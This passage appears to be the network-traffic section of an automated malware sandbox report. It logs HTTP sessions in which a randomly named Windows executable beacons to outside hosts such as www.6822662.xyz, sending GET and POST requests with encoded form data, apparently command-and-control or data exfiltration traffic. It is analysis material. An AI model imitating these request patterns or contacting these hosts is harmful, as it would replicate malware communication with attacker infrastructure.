Nov 28, 2024 09:15:29.245755911 CET	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 28 Nov 2024 08:15:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Sat, 14 Sep 2024 06:51:15 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QVMafmkQv6i9ejtgc1j4zSvMTgutuCa4M%2BNvQb%2BkeHq5LyGcJplKH8NFYGVrzM7Qk7qHnwC7kR43lGr1N%2BXwnA2aUQrIWO7Jx7mm%2FF8zi%2FBNvJ73UCmCKAfnpMnf8MXLT3FtLSGcNw%2BTDtRV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e98e90d8a35180d-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1463&min_rtt=1463&rtt_var=731&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1860&delivery_rate=0&cwnd=199&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 64 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 54 df 6f d3 30 10 7e df 5f 71 04 81 40 22 75 d3 0e b6 26 69 a4 d1 6e 62 12 3f 26 56 04 3c ba c9 35 36 24 76 b0 af 69 c3 c4 ff 8e 9c 64 6d 27 c6 c4 03 ce 8b 73 f7 dd f7 dd d9 77 8e 1f cd 3f cc 16 5f af ce 41 50 59 c0 d5 a7 d7 6f 2f 67 e0 f9 8c 7d 1e cf 18 9b 2f e6 f0 e5 cd e2 dd 5b 08 06 43 b8 26 23 53 62 ec fc bd 07 9e 20 aa 42 c6 36 9b cd 60 33 1e 68 93 b3 c5 47 b6 75 2c 81 0b eb b7 be 6d 63 06 19 65 5e 72 14 b7 22 db b2 50 76 7a 0f 41 30 99 4c ba 38 cf 81 c2 82 ab 7c ea a1 f2 60 b7 4b 62 81 3c 4b 8e 00 00 62 92 54 60 72 3c 3c 86 a7 65 c6 ad 88 e0 bd 26 b8 d0 6b 95 c5 ac 73 76 c0 12 89 83 d3 f3 f1 c7 5a d6 53 6f a6 15 a1 22 7f d1 54 e8 41 da fd 4d 3d c2 2d 31 a7 1f 41 2a b8 b1 48 d3 4f 8b 0b ff d4 63 87 44 8a 97 38 f5 32 b4 a9 91 15 49 ad 0e 18 ae b5 31 cd 0b a8 78 8e a0 34 c1 ca 25 b3 0b b7 d4 14 08 d4 54 d8 6b a5 d6 7a 9d cf ad a5 ce 1a b8 59 69 45 be 95 3f 31 0c 8e ab 6d 04 a9 2e b4 09 1f 9f b4 2b 82 d6 bd e2 a5 2c 9a 90 1b c9 8b 08 1c 95 cf 0b 99 [TRUNCATED] Data Ascii: 2daTo0~_q@"u&inb?&V<56$vidm'sw?_APYo/g}/[C&#Sb B6`3hGu,mce^r"PvzA0L8\|`Kb<KbT`r<<e&ksvZSo"TAM=-1A*HOcD82I1x4%TkzYiE?1m.+,0EEh_;Na<PN&g'
Nov 28, 2024 09:15:29.245919943 CET	384	IN	Data Raw: 67 17 11 94 dc e4 52 85 70 32 ac b6 30 74 df 21 c1 08 6e 3a 3c 3c 9e 9f bf 9a bd 9c df cd 01 fa 24 f6 22 30 6a 45 5a c3 06 65 2e 28 84 a5 2e b2 08 0a 24 42 e3 db 8a a7 52 e5 21 f8 81 03 de ca fb e3 56 7e 3c a9 b6 07 fa 15 dc 6c 64 46 22 1c 77 b4 Data Ascii: gRp20t!n:<<$"0jEZe.(.$BR!V~<ldF"w(kQo0vkB:T6>~9~uvPK+1<%Yk4A(f^0MO#6XKYJe^r=f<YaDpk%WnRz_&}_XN@i6h4R@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	50006	172.67.222.69	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:15:30.552664042 CET	551	OUT	GET /xyvr/?Yby=d2ydCtHpb8&QhKxhNP=Dk/wQKBXq4hP/zVb9ApyZmDkyzbQqrM0hWgYI5VbiKGV4GeQY6os12Lf5EdpuHYA6f15h+K7XFjq1wIjorrCnH6ZrrhC9s12l00lNHx4+XmTSfuGU54Az/E2dcdiA+66+g== HTTP/1.1 Host: www.zrinorem-srumimit.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Nov 28, 2024 09:15:31.883143902 CET	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 28 Nov 2024 08:15:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Sat, 14 Sep 2024 06:51:15 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uyxmWUU%2FHsSeGJc9Fk%2BD3Zqywqi1dEgTh0aOr1NA3vyoGXX03ccCMKODSNEnw6NwrqmwV5V%2BxleLJMCIMMMDhdFxXKEkQYDtoKZbh3ZgbB6jbUIFSHy4VH39Zovu51GMyT9SPIKjq7ctnEFk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e98e91df89e1a24-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1993&min_rtt=1993&rtt_var=996&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=551&delivery_rate=0&cwnd=212&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 35 39 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 26 6d 64 61 73 68 3b 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e [TRUNCATED] Data Ascii: 59e<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head> <title>404 — Not Found</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <meta name="description" content="Sorry, page not found"/> <style type="text/c
Nov 28, 2024 09:15:31.883244991 CET	1061	IN	Data Raw: 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 20 63 6f 6c 6f 72 3a 23 37 37 37 37 37 37 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 Data Ascii: ss"> body {font-size:14px; color:#777777; font-family:arial; text-align:center;} h1 {font-size:180px; color:#99A7AF; margin: 70px 0 0 0;} h2 {color: #DE6C5D; font-family: arial; font-size: 20px; font-weight: bold; lette

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	50007	103.249.106.91	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:15:37.988668919 CET	793	OUT	POST /dnjw/ HTTP/1.1 Host: www.6822662.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 208 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.6822662.xyz Referer: http://www.6822662.xyz/dnjw/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 47 4a 47 36 69 56 36 6f 4e 74 77 78 54 66 62 68 53 74 34 78 6f 48 58 76 42 35 4a 6c 41 4b 2b 74 2f 6b 75 4b 66 43 41 6f 4a 59 46 4f 30 38 6e 72 51 46 50 31 59 46 4c 55 45 56 50 55 77 66 30 68 78 36 32 55 76 37 33 6c 53 53 44 48 30 57 47 6a 32 77 4e 6a 6c 74 46 70 47 51 6e 31 57 33 42 50 74 42 69 6a 4a 4d 39 64 74 67 59 73 43 44 31 72 4b 6f 76 51 78 6b 79 4a 76 32 54 6e 68 38 4b 32 69 32 68 6a 4c 38 50 76 32 31 61 4f 45 64 36 4b 74 57 6b 74 54 54 32 61 72 6e 68 4a 65 37 54 34 63 2b 6c 77 62 69 58 44 73 71 49 33 71 55 6a 56 61 64 74 4b 48 34 44 2b 31 30 74 6a 70 72 44 73 49 77 64 5a 44 75 34 3d Data Ascii: QhKxhNP=GJG6iV6oNtwxTfbhSt4xoHXvB5JlAK+t/kuKfCAoJYFO08nrQFP1YFLUEVPUwf0hx62Uv73lSSDH0WGj2wNjltFpGQn1W3BPtBijJM9dtgYsCD1rKovQxkyJv2Tnh8K2i2hjL8Pv21aOEd6KtWktTT2arnhJe7T4c+lwbiXDsqI3qUjVadtKH4D+10tjprDsIwdZDu4=
Nov 28, 2024 09:15:39.491436958 CET	190	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 28 Nov 2024 08:15:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	50008	103.249.106.91	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:15:40.655679941 CET	813	OUT	POST /dnjw/ HTTP/1.1 Host: www.6822662.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 228 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.6822662.xyz Referer: http://www.6822662.xyz/dnjw/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 47 4a 47 36 69 56 36 6f 4e 74 77 78 52 2f 4c 68 51 50 51 78 35 33 58 73 66 70 4a 6c 4f 71 2f 6b 2f 6b 71 4b 66 44 30 43 49 74 74 4f 78 70 44 72 54 45 50 31 66 46 4c 55 51 46 50 56 6f 2f 31 74 78 36 79 32 76 35 6a 6c 53 53 58 48 30 58 32 6a 32 44 31 69 6c 39 46 72 66 41 6e 7a 63 58 42 50 74 42 69 6a 4a 4d 34 34 74 67 41 73 43 53 6c 72 59 39 44 58 38 45 79 4b 34 47 54 6e 6c 38 4c 65 69 32 68 4e 4c 34 48 42 32 32 69 4f 45 59 47 4b 6f 58 6b 75 59 54 32 63 76 6e 67 4d 4f 61 79 63 56 4e 42 75 45 55 4f 69 7a 4a 35 4c 72 69 53 2f 41 2f 6c 69 55 59 76 47 6c 6e 6c 55 34 62 69 46 53 54 4e 70 64 35 74 51 51 6a 45 71 34 49 59 76 73 64 59 43 34 35 59 42 36 64 53 61 Data Ascii: QhKxhNP=GJG6iV6oNtwxR/LhQPQx53XsfpJlOq/k/kqKfD0CIttOxpDrTEP1fFLUQFPVo/1tx6y2v5jlSSXH0X2j2D1il9FrfAnzcXBPtBijJM44tgAsCSlrY9DX8EyK4GTnl8Lei2hNL4HB22iOEYGKoXkuYT2cvngMOaycVNBuEUOizJ5LriS/A/liUYvGlnlU4biFSTNpd5tQQjEq4IYvsdYC45YB6dSa
Nov 28, 2024 09:15:42.222166061 CET	190	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 28 Nov 2024 08:15:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50009	103.249.106.91	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:15:43.337343931 CET	1830	OUT	POST /dnjw/ HTTP/1.1 Host: www.6822662.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 1244 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.6822662.xyz Referer: http://www.6822662.xyz/dnjw/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 47 4a 47 36 69 56 36 6f 4e 74 77 78 52 2f 4c 68 51 50 51 78 35 33 58 73 66 70 4a 6c 4f 71 2f 6b 2f 6b 71 4b 66 44 30 43 49 72 31 4f 74 50 50 72 56 58 58 31 65 46 4c 55 4d 31 50 51 6f 2f 31 67 78 36 4b 79 76 35 2f 66 53 52 76 48 32 31 2b 6a 2b 53 31 69 38 4e 46 72 43 51 6e 32 57 33 42 61 74 43 61 6e 4a 4d 49 34 74 67 41 73 43 52 74 72 62 6f 76 58 2b 45 79 4a 76 32 54 6a 68 38 4c 6c 69 32 35 37 4c 34 4b 30 33 48 43 4f 42 49 32 4b 71 42 49 75 62 7a 32 65 71 6e 67 71 4f 61 2b 44 56 4e 74 69 45 55 53 45 7a 4a 42 4c 6e 6a 7a 54 65 75 59 38 47 4a 4c 61 76 58 74 77 6b 2f 66 6b 56 53 78 52 63 61 56 2b 51 68 41 7a 35 76 4d 2b 2f 35 45 4b 68 50 51 57 39 61 2f 6f 38 4c 73 41 69 2b 50 2b 76 48 54 30 61 2b 70 5a 64 6c 6c 61 44 56 55 56 72 42 73 54 2b 7a 77 64 59 44 76 74 56 54 76 48 6d 71 38 4d 64 44 47 57 6b 2f 32 76 75 58 34 39 78 62 70 46 56 50 7a 67 43 6f 75 64 2b 69 67 70 71 6e 69 48 77 6d 66 72 34 47 75 42 7a 72 72 70 72 42 76 42 48 53 46 33 79 46 49 51 34 72 39 6c 62 59 35 69 56 35 [TRUNCATED] Data Ascii: QhKxhNP=GJG6iV6oNtwxR/LhQPQx53XsfpJlOq/k/kqKfD0CIr1OtPPrVXX1eFLUM1PQo/1gx6Kyv5/fSRvH21+j+S1i8NFrCQn2W3BatCanJMI4tgAsCRtrbovX+EyJv2Tjh8Lli257L4K03HCOBI2KqBIubz2eqngqOa+DVNtiEUSEzJBLnjzTeuY8GJLavXtwk/fkVSxRcaV+QhAz5vM+/5EKhPQW9a/o8LsAi+P+vHT0a+pZdllaDVUVrBsT+zwdYDvtVTvHmq8MdDGWk/2vuX49xbpFVPzgCoud+igpqniHwmfr4GuBzrrprBvBHSF3yFIQ4r9lbY5iV5OH0RvGbhJdQPAC3pfPXNPfSzzfEto59Vg+7K/Eqzm19NmZN+dpb4VRfhPOfXo4EiXRggtVdq5CIW8N5I8RgAErtHkVGbkCDBEtjzRawKd13W58rptk0fiu2EULDZVP7UU8LkpXhIBUhDlqngvtttHRcLhvQRY2lxfeEliZkzpestlN7QumA1qqj9tRX2vVy4a0UDqxLNv8XOc5puSRZ/osJy4nwQkwH9coNQglJYGtPW55LQuFm649c3JtOE22wT9ntc3m7uJYzdPAszsULqoCX//IzPcpKhnzSOGvuxrAMAIclSv7Ku47PML1y9ZY1bGpGsVFeXbEKYc8vs0lMiKDYZvRhdw9Epb1jKpB3n1OTDzQ7iIo2XAv49Qq+IBtJSgDI4A193Bpb/w6ghNUjc9im5Tf5bWTv6cHBpvBgtjc35murKnGG+Li+QTDI4TngKfTp4YSQZ2DMPhMf8Xp5V+7QCdxSmVmf7OuP6xBcDdPjzaJMgE/dTlp6Ka1YZ2zFVx/CkGXS1rmDX2UAOU0HXLPFVilzl1BMGoxv9WhU92JQtZH4vnk4+sww+7q2yKBam9IUrTSIvus+q1smaJtHC8769fHhjCwv/1sqnqyWRlXUxA4Q+H4oK09nXRDGvpuFl5Yx/f7sb0neRF4OQkwNSu6AojoL6c6FW4d [TRUNCATED]
Nov 28, 2024 09:15:44.945220947 CET	190	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 28 Nov 2024 08:15:44 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50010	103.249.106.91	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:15:45.992675066 CET	541	OUT	GET /dnjw/?QhKxhNP=LLuahgeFNd50MfmeR+YO4X7oQIpbAv675x2tVSlUIoVemPDFIi7IcWvJHwj84u5Zt+Ov/a/NakHy5HK7jRYViNkqfDz6ShsEoBWZb9ZpzTMPTjlue++bzVqPhWzfo/q89w==&Yby=d2ydCtHpb8 HTTP/1.1 Host: www.6822662.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Nov 28, 2024 09:15:48.469150066 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 08:15:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 34 63 36 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 74 69 74 6c 65 3e 26 23 32 30 30 36 31 3b 26 23 33 37 33 32 35 3b 26 23 32 39 36 31 35 3b 26 23 32 32 38 35 36 3b 2d 26 23 32 39 39 39 32 3b 26 23 32 35 31 36 33 3b 26 23 32 36 34 32 36 3b 26 23 32 34 35 39 30 3b 26 23 32 30 30 34 30 3b 26 23 33 30 34 37 35 3b 26 23 32 33 37 30 37 3b 26 23 32 32 32 36 39 3b 26 23 32 32 38 32 33 3b 26 23 32 39 32 35 35 3b 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23 32 30 30 36 31 3b 26 23 33 37 33 32 35 3b 26 23 32 39 36 31 35 3b 26 23 32 32 38 35 36 3b 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23 32 30 30 36 31 [TRUNCATED] Data Ascii: 4c68<!DOCTYPE html><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>九重环奈-用手机怎么看岛国大片</title><meta name="keywords" content="九重环奈" /><meta name="description" content="九重环奈" /><link href="http://www.6822662.xyz/template/news/news10/css/layout.css" rel="stylesheet" type="text/css" /></head><body><time draggable="3e4fc5"></time><tt dropzone="8e35db"></tt><var date-time="e2ae3a"></var><div dir="896d1d" id="head_top"><area dir="786058"></area><map lang="4be9df"></map><bdo draggable="19b489"></bdo><div lang="f35039" id="header"><dfn dropzone="27ab1d"></dfn><font date-time="7687fa"></font><ins dir="ad3ba4"></ins><div draggable="1dcd8a" class="b896d1 logo"><a href="http://www.6822662.xyz/"><img dropzone="dd63bd" src="/images/logo/46kkrzujrptjzoxgqchojomi46oixznstpszxppfust6pcmh.png?w=230"></a></a><h1> [TRUNCATED]
Nov 28, 2024 09:15:48.469310045 CET	1236	IN	Data Raw: 61 38 22 3e 3c 2f 73 6d 61 6c 6c 3e 3c 73 75 70 20 64 72 61 67 67 61 62 6c 65 3d 22 63 65 62 36 65 36 22 3e 3c 2f 73 75 70 3e 3c 74 69 6d 65 20 64 72 6f 70 7a 6f 6e 65 3d 22 36 61 35 64 30 30 22 3e 3c 2f 74 69 6d 65 3e 3c 64 69 76 20 64 61 74 65 Data Ascii: a8"></small><sup draggable="ceb6e6"></sup><time dropzone="6a5d00"></time><div date-time="bb3a47" class="cf3503 top_ad"></div></div><tt date-time="f918f3"></tt><var dir="b109f4"></var><area lang="f82d7a"></area><div dir="9f3bfb" class="d1dcd8 c
Nov 28, 2024 09:15:48.469324112 CET	1236	IN	Data Raw: 3c 2f 76 61 72 3e 3c 61 72 65 61 20 64 72 61 67 67 61 62 6c 65 3d 22 66 64 38 37 63 35 22 3e 3c 2f 61 72 65 61 3e 3c 6d 61 70 20 64 72 6f 70 7a 6f 6e 65 3d 22 38 36 33 30 63 35 22 3e 3c 2f 6d 61 70 3e 3c 64 69 76 20 64 61 74 65 2d 74 69 6d 65 3d Data Ascii: </var><area draggable="fd87c5"></area><map dropzone="8630c5"></map><div date-time="4e88c9" id="breadcrumb"><bdo date-time="229925"></bdo><dfn dir="c3c175"></dfn><font lang="14c9f8"></font><div dir="5ea3ce" class="h1180e postbox"><form action="
Nov 28, 2024 09:15:48.470067978 CET	1236	IN	Data Raw: 7a 2f 78 69 64 61 6f 61 69 6c 69 77 2f 27 3e e5 b8 8c e5 b2 9b e7 88 b1 e7 90 86 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 74 69 6d 65 20 64 69 72 3d 22 35 64 39 61 30 61 22 3e 3c 2f 74 69 Data Ascii: z/xidaoailiw/'></a></li></ul></div></div></div><time dir="5d9a0a"></time><tt lang="0cde38"></tt><var draggable="1d7ec6"></var><div draggable="8a3bbd" id="container"><area dropzone="eb970d"></area><map date-time="6bcf2c"></map><bdo
Nov 28, 2024 09:15:48.470081091 CET	896	IN	Data Raw: b5 e5 bd b1 3c 2f 61 3e 3c 2f 64 74 3e 3c 64 64 20 73 74 79 6c 65 3d 22 6f 76 65 72 66 6c 6f 77 3a 61 75 74 6f 3b 7a 6f 6f 6d 3a 31 3b 22 3e 20 e3 80 8a e6 88 98 e7 8b bc 32 e7 94 b5 e5 bd b1 e3 80 8b e6 98 af e7 94 b1 e5 90 b4 e4 ba ac e6 89 a7 Data Ascii: </a></dt><dd style="overflow:auto;zoom:1;"> 22017727
Nov 28, 2024 09:15:48.470871925 CET	1236	IN	Data Raw: 9c a8 e5 bd 93 e6 97 b6 e7 9a 84 e9 a6 99 0d 2e 2e 2e 20 3c 2f 64 64 3e 3c 64 64 20 63 6c 61 73 73 3d 22 71 31 64 30 38 66 20 6c 69 6e 66 6f 22 3e 64 61 74 65 3a 3c 73 70 61 6e 3e 32 30 32 34 2d 31 31 2d 32 38 20 31 35 3a 34 32 3c 2f 73 70 61 6e Data Ascii: ... </dd><dd class="q1d08f linfo">date:<span>2024-11-28 15:42</span> praise:<span></span> views:<span>399</span></dd></dl><dl><dt><a href="http://www.6822662.xyz/Dating/736e40598858.html" class="r0b2ef title"><
Nov 28, 2024 09:15:48.470894098 CET	1236	IN	Data Raw: 80 20 70 72 61 69 73 65 3a 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e e3 80 80 20 76 69 65 77 73 3a 3c 73 70 61 6e 3e 32 38 34 36 3c 2f 73 70 61 6e 3e 3c 2f 64 64 3e 3c 2f 64 6c 3e 3c 64 6c 3e 3c 64 74 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f Data Ascii: praise:<span></span> views:<span>2846</span></dd></dl><dl><dt><a href="http://www.6822662.xyz/Dating/830f499165.html" class="v7f84a title"></a></dt><dd style="overflow:auto;zoom:1;">
Nov 28, 2024 09:15:48.471735001 CET	1236	IN	Data Raw: 69 6e 67 2f 31 37 38 62 34 30 35 39 39 34 31 36 2e 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 7a 64 62 65 64 37 20 74 69 74 6c 65 22 3e e6 88 91 e5 92 8c e6 88 91 e7 9a 84 e5 a5 b3 e5 84 bf 3c 2f 61 3e 3c 2f 64 74 3e 3c 64 64 20 73 74 79 6c 65 3d 22 Data Ascii: ing/178b40599416.html" class="zdbed7 title"></a></dt><dd style="overflow:auto;zoom:1;">
Nov 28, 2024 09:15:48.471751928 CET	1236	IN	Data Raw: 20 73 74 79 6c 65 3d 22 6f 76 65 72 66 6c 6f 77 3a 61 75 74 6f 3b 7a 6f 6f 6d 3a 31 3b 22 3e 20 e3 80 8a e6 9c 89 e5 b8 8c e6 9c 9b e7 9a 84 e7 94 b7 e4 ba ba e3 80 8b e6 98 af e4 b8 80 e9 83 a8 e9 9f a9 e5 9b bd e7 94 b5 e8 a7 86 e5 89 a7 ef bc Data Ascii: style="overflow:auto;zoom:1;"> 2014
Nov 28, 2024 09:15:48.472459078 CET	1236	IN	Data Raw: 22 68 74 74 70 3a 2f 2f 77 77 77 2e 36 38 32 32 36 36 32 2e 78 79 7a 2f 6a 69 75 7a 68 6f 6e 67 68 75 61 6e 6e 61 69 2f 32 2f 22 3e 32 3c 2f 61 3e 26 6e 62 73 70 3b 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 36 Data Ascii: "http://www.6822662.xyz/jiuzhonghuannai/2/">2</a>  <a href="http://www.6822662.xyz/jiuzhonghuannai/3/">3</a>  <a href="http://www.6822662.xyz/jiuzhonghuannai/4/">4</a>  <a href="http://www.6822662.xyz/jiuzhonghuan
Nov 28, 2024 09:15:48.589679003 CET	1236	IN	Data Raw: 32 38 36 22 3e 3c 2f 6d 61 70 3e 3c 62 64 6f 20 64 72 6f 70 7a 6f 6e 65 3d 22 34 65 64 62 36 62 22 3e 3c 2f 62 64 6f 3e 3c 75 6c 20 63 6c 61 73 73 3d 22 6b 66 36 30 61 38 20 6c 69 73 74 5f 63 6f 6e 22 3e 3c 2f 75 6c 3e 3c 2f 64 69 76 3e 3c 2f 64 Data Ascii: 286"></map><bdo dropzone="4edb6b"></bdo><ul class="kf60a8 list_con"></ul></div></div><dfn date-time="abb388"></dfn><font dir="758f1d"></font><ins lang="e3f5d1"></ins><div date-time="dbed76" class="l82efb isidepanel"><h4></h4><small

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	50011	121.43.155.35	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
